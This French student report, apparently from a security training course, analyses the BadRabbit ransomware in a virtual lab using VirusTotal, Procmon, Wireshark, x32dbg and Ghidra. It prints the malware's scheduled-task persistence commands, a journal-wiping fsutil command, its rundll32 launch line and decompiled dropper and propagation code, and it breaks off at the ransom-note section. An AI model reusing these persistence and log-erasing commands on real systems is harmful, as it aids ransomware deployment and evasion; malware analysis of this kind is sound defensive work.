<div style="display :flex;justify-content:space-between"> <img style="width: 200px;" src="https://www.defi-metiers.fr/sites/default/files/doc-kelios/Logo/2018/12/11/Logos_UIMM%2BAFORP.png"/> <img src="https://www.cnpp.com/bundles/cnppsite/images/logo/cnpp.png"/> </div> <div style="padding-top:30%;font-size : 50px;font-weight : bold"> RAPPORT </div> <div style="font-size : 30px;font-weight : bold"> Analyse du malware <div style="display:inline;color:red;background-color : black;padding:0.3em"> BADRABBIT </div> </div> <div style="padding-bottom : 30%"></div> Dans ce document, nous effectuons le reverse du malware BadRabbit (en dynamique et en statique). <div style="padding-bottom : 15%"></div> Membres du groupe : * Amine AIT KACI * Dhiya BABAALI * Nassim MESSAOUDI * Steve REY * Mahafaly RANDRIAMIARISOA <div style="page-break-after: always;"></div> # Sommaire : [TOC] <div style="page-break-after: always;"></div> ## CONTEXTE [ - retour au sommaire](#Sommaire-) ### VM : Victim * OS : `Windows 7 (32 bit) / 10 (64 bit)` * Adresse IP : `10.10.10.111` * Passerelle : `10.10.10.112` ![](https://cdn.discordapp.com/attachments/815241841473224704/815616714879926272/unknown.png) ### VM : Sniffer * OS : `Lubuntu` * Adresse IP : `10.10.10.112` * Passerelle : `10.10.10.112` * service : `inetsim` ![](https://cdn.discordapp.com/attachments/815241841473224704/815617869349126154/unknown.png) ### Malware : Badrabbit * Mode operatoire : * Chiffrement des fichiers (la liste des extensions de fichiers impactées est disponible [ci-dessous](#id-ext-files)) * Chiffrement sur Master Boot Record (BMR), bloquant la procédure de démarrage de la machine * Utilisation de l’outil Mimikatz afin de récupérer les identifiants afin de se déplacer sur le réseau de la victime * BadRabbit essaye ensuite de se déplacer à travers SMB en utilisant [différentes méthodes](#id-methode-propa) * Forme de propagation : Bad Rabbit est un ransomware qui profite du manque de sécurité de sites web pour se propager (des XSS principalement). Une fois le faux exécutable d'installation sur l'ordinateur de la victime, il attend que celui ci lance la procédure d'installation manuellement. Le Dropper relache les differents malware dans un premier temps puis les étapes de chiffrement et de propagation débutent en allant à la recherche d'autres machines sur le même réseau pour tenter de les attaquer (principalement via SMB : 445). * vu pour la première fois : 2017 ![](https://cdn.discordapp.com/attachments/815241841473224704/815618373761105980/unknown.png) ## Analyse Statique Basique [ - retour au sommaire ](#Sommaire-) ### VIRUSTOTAL #### Propriétés basiques : * MD5 : `fbbdc39af1139aebba4da004475e8839` * File type : `Win32 EXE` History : * First Submission : 24 octobre 2017 08\:41:55 Names : * BadRabbit.exe * Endermanch@BadRabbit.exe #### Signature Info : * Copyright : Copyright (c) 1996-2017 Adobe Systems Incorporated * Product : Adobe(r) Flash(r) Player Installer/Uninstaller * Description : Adobe® Flash® Player Installer/Uninstaller 27.0 r0 * Original Name : FlashUtil.exe * Internal Name : Adobe® Flash® Player Installer/Uninstaller 27.0 * File Version : 27.0.0.170 * Date signed : 11:07 AM 02/06/2021 #### Portable Executable Info : Sections : | Name | Virtual Size | Raw Size | Entropy | | -------- | -------- | -------- | --- | .text | 11987 | 12288 | 6.58 | |.rdata | 12330 | 12800 | 7.18| |.data | 828 | 512 | 0.18 | |.rsrc | 28808 | 29184 | 4.2 | |.reloc | 590 | 1024 | 3.29 | Au niveau des sections, .text et .rdata ont une entropie avoisinant les 7 (respectivement 6.58 et 7.18) ainsi que des écarts entre la taille virtuelle et la taille brut. Cela peut se comprendre par une tentative d'évasion d'IDS (Intrusion Detection System) du malware en chiffrant une partie de ses données qu'il déchiffrera lors de l'éxecution. Imports : |API Windows | Utilité | Fonctions importées | |-|--|-| |SHELL32.dll| Permet d'éxecuter des commandes | `CommandLineToArgvW` | |KERNEL32.dll| Permet de gérer des [processus](#%C3%89tape-2), la mémoire et lire/écrire des [fichiers](#-Dropped-Files) | `GetCurrentProcess`, `HeapFree`, `GetModuleFileNameW`, `GetFileSize`, `GetSystemDirectoryW`, `UnhandledExceptionFilter`, `ReadFile`, `GetCommandLineW`, `CreateProcessW`, `SetUnhandledExceptionFilter`, `WriteFile`, `TerminateProcess`, `HeapAlloc`, `CreateFileW`, `CloseHandle`, `ExitProcess`, `lstrcatW`, `GetModuleHandlew`, `GetProcessHeap` | |msvcrt.dll| Contient des fonctions de la lib C |`printf`, `wcsstr`, `malloc`, `memcpy`, `free` | |USER32.dll | Contient des fonctions associé à l'interface Utilisateur Windows |`wsprintfW` | #### Contacted Domains | Domain | Created | Registrar | | -------- | -------- | --- | -------- | | [www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com](http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com/) | 2017-05-12 | CloudFlare, Inc. | A la manière de wannacry, enregistrer ce nom de domaine pourrait agir comme un killswitch, Pour le cas de Wannacry, le malware émettait une requête http à un site (qui n'existait pas) et si le code de retour était de 200, il considérait l'environnement où il était comme un environnement où internet était simulé. Il arretait alors son fonctionnement afin de ne pas trop en dévoiler lors d'une phase d'analyse dynamique. <center> <img src="https://i.imgur.com/JZMatV2.png"/> <p> <i>"site : www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com"</i> </p> </center> #### <a name="id-fichiers"></a> Dropped Files | Name | File type | Utilité | | ------------------------------------------ | ---------- | --- | | dcrypt.sys | Win32 EXE | *"disk cryptor"* driver pour l'utilitaire du même nom | | infpub.dat | Win32 DLL | librairie dynamique qui charge d'autres librairies, certaines en rapport avec DHCP (DHCPSAPI.dll) et tout ce qui a rapport au réseau/sous-réseaux, ouverture de connection (MPR.dll, Multiple Provider Router), chiffrement (CRYPT32.dll, ADVAPI32.dll). En regardant les imports fait par cette lib, il semble qu'il s'agit du même malware mais avec l'objectif de se répliquer en plus. [section dédiée](#id-infpub) | | bphnb6y4l.dll | Win32 EXE | Il s'agirait de dcrypt.sys sous un autre nom | | dispci.exe | Win32 EXE | cet éxecutable importe majoritairement des fonctions utilisant l'API de l'interface Utilisateur (USER32.dll),telles que des fonctions permettant d'obtenir le contenu du presse-papier(GetClipboardOwner), le contenu de ce qui est affiché à l'écran (GetDesktopWindow) | | 37945c44a897aa42a6 6adcab68f560e0_myrsx.exe | Win32 EXE | cet éxecutable importe majoritairement des fonctions de la lib KERNEL32.dl, telles que certaines permettant de charger des librairies (LoadLibraryW), verifier le contexte d'éxecution (environnement virtualisé ? GetOEMCP, récupérer le code-page de "originale Equipment Manufacturer" ) | ## Analyse dynamique basique et avancée [ - retour au sommaire](#Sommaire-) ### Monitoring d'une Détonation avec API Monitor #### Étape 0: SETUP Wireshark sera en écoute sur la VM Sniffer : Procmon est ensuite démarré en mode admin et on définit les rêgles suivantes : ![](https://cdn.discordapp.com/attachments/815241841473224704/815241898691133440/rulesDetonation.png) Cela permettra d'obtenir l'essentiel concernant l'activité du malware. Ensuite, API Monitor est utilisée en mode admin: <center><img src="https://i.imgur.com/95KtgcW.png "/></center> <center><i>"VM Victim : API Monitor"</i></center> <br/> Dans cette fenêtre, nous définissons les appels à d'API que l'on veut observer : ![](https://i.imgur.com/J44fMol.png) Nous choisissons d'observer la création/écriture de fichier, la création/terminaison de processus et des appels en rapport avec des "pipe" Choix du processus à monitorer: ![](https://i.imgur.com/x1nzlXS.png) Le processus s'exécutera dès lors que l'on appuiera sur "OK". #### Étape 1: À chaque fois qu'un processus sera créé, une fenêtre s'ouvrira pour nous demander si il faut le monitorer(Monitor), l'ignorer (Skip) ou le terminer(Terminate). Le premier processus créé est lancé par `rundll32`, `rundll32` exécute un fichier créé qui se nomme **infpub.dat**, qui est une dll : ![](https://cdn.discordapp.com/attachments/815241841473224704/815243091001737236/unknown.png) #### Étape 2: De nombreux processus vont s'enchainer: ```mermaid gantt dateFormat HH-mm-ss title Enchaînement des processus todayMarker off section rundll32 rundll32.exe : des0,02-00-00, 9h cmd.exe : desA, 03-00-00, 8h infpub.dat : des1,04-00-10,7h cscc.dat : des2,05-00-00, 6h dispci.dat : des3, 07-00-00, 4h ``` Légendes : ```mermaid graph TB L1[Processus] & L2([Tâche]) L3(Fichier) ``` Arbres des processus avec la création des fichiers et des commands exécutées: ```mermaid graph TB Fl[install_flash_player.exe] --> Run[rundll32.exe]--> Cmd[cmd.exe] Cmd-->Sch[schtasks.exe] Run -->|createfile| Cscc(cscc.dat) Run -->|createfile| Inf(infpub.dat) Run -->|createfile| Dis(dispci.exe) Cmd -.->|/C Start && exit| Dis Sch -.->|1.1 Delete| Rhae([rhaegal]) Sch -.->|1.2 Create|Rhae -.->|dépend de| Dis Sch-.->|create| Dro([drogon]) Cmd -.->|shutdown -r| Dro Run -->|"createfile"| Tmp(261B.tmp) ``` Nous observerons aussi que des tâches seront programmées via `schtasks` par `rundll32.exe` et `cmd.exe` : * le malware force (`/F`) la suppression de la tâche nommée rhaegal (`/TN rhaegal`) : > `rundll32.exe /c schtasks /Delete /F /TN rhaegal` * création de la task nommée rhaegal qui sera exécuté par SYSTEM au démarrage, la task est le lancement de `dispci.exe` avec `cmd.exe` > `rundll32.exe /c schtasks /Create /RU SYSTEM /SC ONSTART /TN rhaegal /TR "C:\Windows\system32\cmd.exe /C Start \"\" \"C:\Windows\dispci.exe\" -id 2234423806 && exit"` ![](https://cdn.discordapp.com/attachments/815241841473224704/815241897232564264/rhaegalRundll32.png) * création d'une tâche qui planifiera un redémarrage à 5h 21mn, elle sera exécutée par SYSTEM une seule fois, le nom de la tâche est drogon : > `cmd.exe schtasks /Create /SC once /TN drogon /RU SYSTEM /TR "C:\Windows\system32\shutdown.exe /r /t 0 /f" /ST 05:21:00` ![](https://cdn.discordapp.com/attachments/815241841473224704/815241940450279465/drogonShutdown.png) * un fichier 261B.tmp s'excute également, avec en paramètre `\\.\pipe\{..}`. Il s'agit ici de la communication entre le payload et le stealer mimikatz > `261B.tmp \\.\pipe\{..}` > ![](https://cdn.discordapp.com/attachments/815241841473224704/815241911274176572/261B_PIPE.png) * Après plusieurs minute, une suppression des logs sera engagé par le processus suivant, ainsi toutes les modifications apportés au disque local `C:` stockées dans le journal seront effacées du journal > `fsutil usn deletejournal /D C:` > ![](https://cdn.discordapp.com/attachments/815241841473224704/815241895772422174/logdelete.png) #### Étape 3: Procmon met en évidence une réécriture massive de fichier. En se rendant alors à un de ces fichiers : ![](https://cdn.discordapp.com/attachments/815241841473224704/815241905428365372/step1Enc.png) En essayant d'ouvrir le fichier jpg, on nous indique que le fichier est endommagé : ![](https://cdn.discordapp.com/attachments/815241841473224704/815241904564207656/step1.2Enc.png) Si nous tentons de regarder son contenu avec un éditeur d'hexadécimal, nous pouvons constater qu'il est chiffré : ![](https://cdn.discordapp.com/attachments/815241841473224704/815306310446350407/unknown.png) ### Monitoring des process en Détonation pas à pas #### Étape 0: SETUP Sur la Machine Virtuelle Victim, Procmon est exécuté, et sur la Machine Virtuelle Sniffer Wireshark écoute sur l’interface du réseau interne `enp0s`: <center><img src="https://cdn.discordapp.com/attachments/815241841473224704/815651319736959006/unknown.png"/></center> <center><i>"wireshark lancé sur la VM sniffer"</i></center> </br> Nous ignorerons les trames de ce type là, ce sont des échanges windows permettant au système de savoir s'il est connecté ou non à internet </br> <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814896730209910817/unknown.png"/></center> <center><i>"Échanges Windows"</i></center> </br> <center><img src="https://cdn.discordapp.com/attachments/815241841473224704/815651675632041984/unknown.png"/></center> <center><i>"procmon lancé sur la VM victim"</i></center> </br> Une détonation est ensuite réalisée en lançant le `install_flash_player.exe`, Pour les règles Procmon, nous mettrons seulement : <center><img src="https://media.discordapp.net/attachments/801464687853830174/814841364276576266/unknown.png"/></center> <center><i>"règles procmon pour observer les processus et manipulation de fichier par le malware"</i></center> </br> #### Étape 1 : 0x??? (before entry point) L'exécutable (install_flash_player) est chargé dans x32dbg, ces opérations se produisent : </br> <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814841071874867200/unknown.png"/></center> <center><i>"Path is "C:\Users\victim\Desktop\install_flash_player.exe" "</i></center> Plusieurs dll sont chargées, nous pouvons lire "Operation : CreateFile", or, les details mentionnnent "Generic Read" </br> <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814855834898530334/unknown.png"/></center> <center><i>"Setup pour l'analyse dynamique du malware" "</i></center> <br/> <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814857094502416464/unknown.png"/></center> <center><i>"Procmon après lancement d'une commande "</i></center> </br> #### Étape 2 : 0x002512C0 (ENTRY POINT) Le malware est exécuté avec x32dbg : <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814858382837678100/unknown.png"/></center> <center><i>"Entry Point" "</i></center> </br> Observation de l'activité sur Procmon : <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814858598218989598/unknown.png"/></center> <center><i>"Créations de fichiers" "</i></center> </br> #### Étape 3 : 0x00251307 (rundll32.exe) Apres quelques step over nous atteignons une commande qui "créera" un fichier, cependant ce fichier porte exactement le même nom que notre exécutable. On suppose alors qu'il prépare ou exécute rundll32.exe pour la création des processus à venir. </br> <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814859299305816064/unknown.png"/></center> <center><i>"préparation d'une commande rundll32"</i></center> </br> <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814859446765355118/unknown.png"/></center> <center><i>" '' "</i></center> </br> #### Étape 4 : 0x002513F0 (createfile infpub.dat) Nous atteignons ensuite une instruction servant à créer et écrire dans le fichier `infpub.dat`, ainsi install_flash_player aura remplis son rôle de dropper. </br> <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814860533601140756/unknown.png"/></center> <center><i>"Création de infpub.dat" "</i></center> </br> Confirmation avec Procmon du rôle de l'instruction. </br> <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814860874657431643/unknown.png"/></center> <center><i>"Création de infpub.dat observée sur Procmon" "</i></center> </br> #### Étape 5 : 0x00251418 (wsprintf) Maintenant que infpub.dat est créée nous pouvons exécuter la commande lui permettant de prendre le relais. </br> <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814862103643029514/unknown.png"/></center> <center><i>"Préparation de la commande à exécuter" "</i></center> </br> #### Étape 6 : 0x0025147F (CreateProcess) Nous repartons pour quelques step over pour arriver à l'endroit où la commande `C:\Windows\system32\rundll32.exe C:\Windows\infpub.dat,#1 15` sera exécutée. </br> <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814862359747100672/unknown.png"/></center> <center><i>"Exécution de la commande" "</i></center> </br> Nous remarquons avec Procmon que rundll32 est appelé. </br> <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814862456119230484/unknown.png"/></center> <center><i>"Rundll32 est utilisé" "</i></center> </br> <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814892678756040724/unknown.png"/></center> <center><i>"Wireshark : Séquences échangées entre la victime et le sniffer au moment du Create Process"</i></center> Apparement, la VM sniffer répond au Syn de la VM Victim avec des `RST`, les requêtes qu'envoie la VM Victim concerne le port de SMB (445), un des ports les plus vulnérables responsables du partage de fichier pour les machines sous Windows. Capture des trames HTTP : ![](https://cdn.discordapp.com/attachments/815241841473224704/815649230639202354/unknown.png) L'utilisation de la méthode OPTIONS avec http permet de connaitre les méthodes autorisées par le serveur. Ici, les méthodes : GET, HEAD, POST, OPTIONS sont autorisées : ![](https://cdn.discordapp.com/attachments/815241841473224704/815653538020458546/unknown.png) Des requêtes HTTP peuvent être mises en évidence avec la methode PROPFIND : ![](https://cdn.discordapp.com/attachments/815241841473224704/815649431005167636/unknown.png) Cette méthode est utilisée par le protocole WebDAV (Web Distributed Authoring and Versioning) qui est une extension de HTTP. PROPFIND permet de récuperer les propriétés d'une ressource WEB, mais aussi la structure / l'arbre fichier d'un système distant. Dans la capture qui suit, nous en déduisons que le malware vérifie peut-être la présence de fichier indiquant la compromission d'un autre hôte : ![](https://cdn.discordapp.com/attachments/815241841473224704/815650078025973820/unknown.png) Le malware essaye de récuperer les propriétés des fichiers cscc.dat et infpub.dat, deux fichiers qui sont issue de l'exécutable. Celui-ci veut sûrement ne pas se propager sur une cible qui l'est déjà. </br> #### Étape 7 : 0x00251481 (ExitProcess) Ensuite, une instruction va terminer le processus qui va effacer infpub.dat. Entre temps, infpub aura pu à son tour créer des fichiers comme dispci.exe dans le but de chiffrer la machine infectée. </br> <center><img src="https://cdn.discordapp.com/attachments/801464687853830174/814863226104971284/unknown.png"/></center> <center><i>"Fin du processus" "</i></center> </br> ### Analyse Dynamique de discpi.exe pas à pas #### Setup : les adresses réseau de la VM Victim: * IPV6 : `fe80::9cd5:640:ca0d:810d` * IPV4 : `10.10.10.111` ![](https://cdn.discordapp.com/attachments/815241841473224704/815639872412450876/unknown.png) Le traffic sera toujours capturé avec Wireshark du côté de la VM Sniffer. Les trames suivantes sont à remarquer : ![](https://cdn.discordapp.com/attachments/815241841473224704/815634930918752296/unknown.png) Des requêtes DHCP ipv6 solicitent ainsi qu'une requête pour détecter la présence d'un serveur DHCP sur son réseau peuvent être reconnues. Puis ces trames suivantes indiquent la découverte du réseau : ![](https://cdn.discordapp.com/attachments/815241841473224704/815637495869472768/unknown.png) Le protocole SSDP est utilisé pour la découverte de service réseau. ![](https://cdn.discordapp.com/attachments/815241841473224704/815644021748662342/unknown.png) Pour les requêtes UDP envoyées depuis la VM victim, en suivant le flux on remarque qu'il s'agit aussi de sonde (probe) avec le protocole SOAP (simple object access protocol) utilisé pour la découverte de nouveaux appareils: ![](https://cdn.discordapp.com/attachments/815241841473224704/815638472508702720/unknown.png) Des requêtes MDNS sont également présentes : ![](https://cdn.discordapp.com/attachments/815241841473224704/815641480180793344/unknown.png) Ce protocole est utilisé pour résoudre les noms d'hôtes. ![](https://cdn.discordapp.com/attachments/815241841473224704/815642680489934878/unknown.png) À la manière de DNS, plusieurs questions peuvent être posées en une seule requête. Des requêtes ARP sont aussi visibles, ce qui est commun: ![](https://cdn.discordapp.com/attachments/815241841473224704/815647324616392754/unknown.png) Au cours du déroulement du programme une console s'ouvre avec ce message : ![](https://cdn.discordapp.com/attachments/815241841473224704/815636047173648384/unknown.png) ### Analyse dynamique : propagation #### Étape 0 :Setup Nous disposerons de 2 VMs Victim sous Windows 7 et de la VM sniffer en Passerelle VM sniffer : * adresse ipv4 : `10.10.10.112 / 24` * rôle : Wireshark capturera les trames responsables de la propagation VM Victim111 : * adresse ipv4 : `10.10.10.111 / 24` * Nom de la machine sur SMB : `VICTIM111` * rôle : Nous lancerons le malware sur cette machine VM Victim109: * adresse ipv4 : `10.10.10.109 / 24` * Nom de la machine SMB : `VICTIM109` * rôle : Procmon est actif sur la machine, elle servira de témoin de la propagation les filtres Procmon : ![](https://cdn.discordapp.com/attachments/815241841473224704/815695759852830750/unknown.png) Pour permettre le partage de fichier entre les 2 VMs, nous les règlerons sur le même Time Zone : ![](https://cdn.discordapp.com/attachments/815241841473224704/815688685026541578/unknown.png) Nous changerons le "Public Network" en "Home Network" : ![](https://cdn.discordapp.com/attachments/815241841473224704/815686945409204244/HOE.png) Par précaution, Nous activerons un Homegroupe et toutes les permissions pour le partage de fichier dans le réseau : ![](https://cdn.discordapp.com/attachments/815241841473224704/815686966397632512/SHAREALL.png) Et par précaution, nous prendrons l'option non-recommandée d'utiliser les Login/Password des comptes windows pour accéder au contenu des autres pc du réseau au lieu de laisser Windows gérer les connexions : ![](https://cdn.discordapp.com/attachments/815241841473224704/815689437891264542/unknown.png) Vue d'ensemble : ![](https://cdn.discordapp.com/attachments/815241841473224704/815691731491749950/PROPAGATION.png) ![](https://cdn.discordapp.com/attachments/815241841473224704/815687309797884014/unknown.png) <center> <i>"gateway est la VM Sniffer"</i></center> #### Étape 1 : Exécution du malware Ce sera depuis la VM Victim111 que le malware sera exécuté, après quelque minutes, procmon sur la VM Victim109 commence à afficher des Opération : ![](https://cdn.discordapp.com/attachments/815241841473224704/815694469675352104/unknown.png) Le chiffrement a commencé! Du côté de Wireshark, la VM infectée nous voyons ses requêtes offensives: ![](https://cdn.discordapp.com/attachments/815241841473224704/815699721480962088/unknown.png) Après de nombreux échanges SMB, la VM infecté envoie les dll malicieuses, cscc.dat et infpub.dat : ![](https://cdn.discordapp.com/attachments/815241841473224704/815700931215097876/unknown.png) L'envoie de cscc.dat échoue, c'est infbup.dat qui est envoyé : ![](https://cdn.discordapp.com/attachments/815241841473224704/815703742258348052/unknown.png) Nous reconnaissons le header des PE : ![](https://cdn.discordapp.com/attachments/815241841473224704/815703946311630888/unknown.png) S'ensuit une attaque par dictionnaire sur des Usernames probables : ![](https://cdn.discordapp.com/attachments/815241841473224704/815702282326769674/unknown.png) <center> <i>"ici c'est le user \Administrator qui est brute forcé" </i> </center> Plusieurs Username vont être testé : * Guest, User, User-1, boss, rdp, \other user, etc. ## Analyse statique avancée [ - retour au sommaire](#Sommaire-) ### Reverse de install_flash_player.exe (fonctionnement général) Nous allons commencer par charger le binaire dans Ghidra puis nous allons sélectionner toutes les options d'analyse. Ensuite, nous pouvons commencer par regarder l'entry point du programme : ![](https://cdn.discordapp.com/attachments/801464687853830174/814511958752624700/entry.PNG) Au tout début du programme, le malware prépare l'environnement pour exécuter des commandes (à partir de SHELL32.dll,KERNELL32.dll, MSVCRT.dll, USER32.dll) donc il va utiliser des fonctions usuelles de l'API windows pour faire ça. Des fonctions comme `GetCommandLineW()` `CommandLineToArgvW(lpCmdLine,pNumArgs)` et `GetSystemDirectoryW()` : ![](https://cdn.discordapp.com/attachments/801464687853830174/814529869119225916/env.PNG) Dans le code décompilé, l'appel à `run32dll.exe` permet d'exécuter des dll. Dans un premier temps, le malware déchiffre un dropper et le met dans un fichier appelé infpub.dat, comme illustré dans le code décompilé suivant : ```c system_directory = GetSystemDirectoryW(rundll_string,0x30c); if ((((system_directory != 0) && (cmd_line_string = lstrcatW(rundll_string,L"\\rundll32.exe"), cmd_line_string != (LPWSTR)0x0)) && (iVar4 = evil_creator(local_1258,&evil), iVar4 != 0)) && (iVar4 = write_infpub(evil), iVar4 != 0)) { wsprintfW(receive_buffer, L"%ws C:\\Windows\\%ws,#1%ws", rundll_string,L"infpub.dat",seed); } ``` La fonction permettant d'écrire est `write_infpub()`, et la fonction permettant de déchiffrer est `evil_creator()` : ```c int write_infpub(LPCVOID param_1) { HANDLE hFile; BOOL BVar1; LPCVOID unaff_EBX; int iVar2; iVar2 = 0; hFile = CreateFileW(L"C:\\Windows\\infpub.dat",0x40000000,0, (LPSECURITY_ATTRIBUTES)0x0,2,0,(HANDLE)0x0); if (hFile != (HANDLE)0xffffffff) { BVar1 = WriteFile(hFile,param_1,(DWORD)unaff_EBX, (LPDWORD)&param_1,(LPOVERLAPPED)0x0); if ((BVar1 != 0) && (param_1 == unaff_EBX)) { iVar2 = 1; } CloseHandle(hFile); } return iVar2; } ``` Notons que l'appel à `CreateFileW` utilise comme deuxième argument `0x400000` qui correspond à `GENERIC_WRITE` donc le fichier est créé avec des droits d'écriture, nous allons voir que cette information va être importante plus tard. Le malware est donc un dropper qui va drop d'autres fichiers qui vont ensuite permettre les prochains stages du malware. On récupère le fichier `infpub.dat` et on le remet dans ghidra. ### Reverse de infpub.dll (infpub.dat) ![screenhsot_infbup_dat](https://cdn.discordapp.com/attachments/801464687853830174/814509858530263040/Capture_decran_2021-02-25_a_15.50.07.png) IDA permet de révéler que le fichier infpub.dat exécute la fonction `CreateProcessW`. Cette fonction comporte la signature suivante : ```c BOOL __stdcall CreateProcessW( LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation) ``` Cette fonction se charge de créer un processus avec des flags et informations quant à sa création, par exemple le nombre de threads ou si le processus fils [hérite du handle](https://docs.microsoft.com/en-us/dotnet/api/microsoft.visualstudio.ole.interop.security_attributes.binherithandle?view=visualstudiosdk-2019). Plus de détail sur le handle ([lien](https://stackoverflow.com/a/902969/13142533)) : Un handle est une référence abstraite à une ressource, souvent une mémoire, un fichier ouvert ou une pipe. Sous Windows, un handle est une abstraction cachant à l'utilisateur de l'API une adresse mémoire réelle. Cela permet au programme de réorganiser l'adresse physique de manière transparente. Résoudre un handle en un pointeur vérouille l'accès mémoire, et le libérer invalide le pointeur. La fonction `CreateProcessW` est appelée plusieurs fois, et semble indiquer qu'elle est utilisée pour lancer les différents processus nécessaires au fonctionnement du malware. ### 1er exemple — Ghidra Certaines variables ont été renommées et des commentaires ajoutés pour plus de clarté. ```c /* WARNING: Function: __alloca_probe replaced with injection: alloca_probe */ void FUN_10007146(void){ WCHAR commandLine [1024]; WCHAR bufferVar [1024]; WCHAR appName [780]; _STARTUPINFOW local_78; _PROCESS_INFORMATION local_34; ppvVar9 = &local_c; ppuVar8 = &local_8; local_8 = (undefined *)0x0; local_c = (LPVOID)0x0; pvVar3 = GetCurrentProcess(); FUN_10006f7c(pvVar3); iVar4 = FUN_10008313(ppuVar8,ppvVar9); if (iVar4 != 0) { iVar4 = 0; do { sVar1 = *(short *)((int)L"C:\\Windows\\" + iVar4); *(short *)((int)appName + iVar4) = sVar1; iVar4 = iVar4 + 2; } while (sVar1 != 0); UVar5 = GetTempFileNameW(appName,(LPCWSTR)0x0,0,appName); pvVar2 = local_c; puVar10 = local_8; if (UVar5 != 0) { local_24._0_4_ = 0; local_24._4_4_ = 0; uStack28 = 0; uStack24 = 0; HVar6 = CoCreateGuid((GUID *)local_24); if (-1 < HVar6) { fileName = (LPOLESTR)0x0; if (-1 < HVar6) { iVar4 = FUN_10006faf(appName,local_8); if (iVar4 != 0) { /* Utilisation de named pipe pour la communiquation entre le stealer et le payload */ wsprintfW(bufferVar,L"\\\\.\\pipe\\%ws",fileName); local_14 = CreateThread( (LPSECURITY_ATTRIBUTES)0x0, 0, lpStartAddress_10006ffe, bufferVar, 0,(LPDWORD)0x0); pvVar2 = local_c; puVar10 = local_8; if (local_14 != (HANDLE)0x0) { local_34.hProcess = (HANDLE)0x0; local_34.hThread = (HANDLE)0x0; local_34.dwProcessId = 0; local_34.dwThreadId = 0; memset(&local_78,0,0x44); local_78.wShowWindow = 0; local_78.cb = 0x44; wsprintfW(commandLine,L"\"%ws\" %ws",appName,bufferVar); /* La fonction CreateProcessW a ici les parametres bInheritHandles = 0 dwCreationFlags = 0x8000000 */ BVar7 = CreateProcessW( appName, commandLine, (LPSECURITY_ATTRIBUTES)0x0, (LPSECURITY_ATTRIBUTES)0x0, 0, 0x8000000, (LPVOID)0x0, (LPCWSTR)0x0, (LPSTARTUPINFOW)&local_78 (LPPROCESS_INFORMATION)&local_34); if (BVar7 != 0) { /* Prend en parametre un handle * et une duree en millisecondes */ WaitForSingleObject(local_34.hProcess,60000); FUN_10006cc8(); TerminateThread(local_14,0); } CloseHandle(local_14) } FUN_10006faf(appName,local_8); DeleteFileW(appName); } CoTaskMemFree(fileName); pvVar2 = local_c; puVar10 = local_8; } } } ``` 1. Le programme cherche à se propager sur une autre machine à travers le réseau. Pour cela il utilise la variable `appName` un tableau de `char` de taille `780` (`appName [780]`) 2. Un thread est ensuite créé 3. Si le thread est créé avec succès, le programme tente de créer un processus avec `CreateProcessW`, où le processus créé n'hérite pas des handles. 4. Si le processus est créé avec succès, le programme attend 60 000 millisecondes (60 secondes). 5. Finalement, le programme efface le fichier utilisé pour les étapes précédentes. la fonction à l'ordinal #1 est deployé en premier par le main dropper : `"C:\\Windows\\system32\\rundll32.exe C:\\Windows\\infpub.dat,#1 15"` ### 2eme exemple — Ghidra ```c void Ordinal_2(undefined4 param_1,undefined4 param_2,STRING param_3){ UINT sysDirPath; LPWSTR fullPath; DWORD pathOfFileThatContainsModule; _PROCESS_INFORMATION *p_Var1; _STARTUPINFOW *p_Var2; int iVar3; WCHAR local_c88 [780]; WCHAR local_670 [780]; _STARTUPINFOW local_58; _PROCESS_INFORMATION local_14; /* 0x7bf7 2 */ /* UINT GetSystemDirectoryW(LPWSTR lpBuffer, UINT uSize); */ sysDirPath = GetSystemDirectoryW(local_670,0x30c); if (sysDirPath != 0) { fullPath = lstrcatW(local_670,L"\\rundll32.exe"); if (fullPath != (LPWSTR)0x0) { pathOfFileThatContainsModule = GetModuleFileNameW(hModule_10017b98,(LPWSTR)&pszPath_10017bc8,0x30c); if (pathOfFileThatContainsModule != 0) { fullPath = PathFindFileNameW((LPCWSTR)&pszPath_10017bc8); wsprintfW(local_c88, L"%ws C:\\Windows\\%ws,#1%ws",local_670, fullPath,param_3._0_4_); iVar3 = 0x10; p_Var1 = &local_14; do { *(undefined *)&p_Var1->hProcess = 0; p_Var1 = (_PROCESS_INFORMATION *)((int)&p_Var1->hProcess + 1); iVar3 = iVar3 + -1; } while (iVar3 != 0); iVar3 = 0x44; p_Var2 = &local_58; do { *(undefined *)&p_Var2->cb = 0; p_Var2 = (_STARTUPINFOW *)((int)&p_Var2->cb + 1); iVar3 = iVar3 + -1; } while (iVar3 != 0); local_58.cb = 0x44; CreateProcessW(local_670, local_c88, (LPSECURITY_ATTRIBUTES)0x0, (LPSECURITY_ATTRIBUTES)0x0, 0, 0x8000000, (LPVOID)0x0, (LPCWSTR)0x0, (LPSTARTUPINFOW)&local_58, (LPPROCESS_INFORMATION)&local_14); /* WARNING: Subroutine does not return */ ExitProcess(0); } } } return; } ``` Le programme suit globalement les mêmes étapes : 1. Appel à la fonction `GetSystemDirectoryW` pour récupérer le path du répertoire système 2. Si il existe (i.e. != 0), alors le programme tente de récupérer le chemin complet de `rundll32.exe` 3. Si le fichier existe, le programme tente de récupérer le chemin du fichier contenant le module 4. Si ce chemin existe, le programme tente de se propager en créant un nouveau processus ### Note de rançon Après avoir reverse le fichier infpub.dat, nous retrouvons finalement le texte indiquant que les fichiers ont été chiffrés. ```c 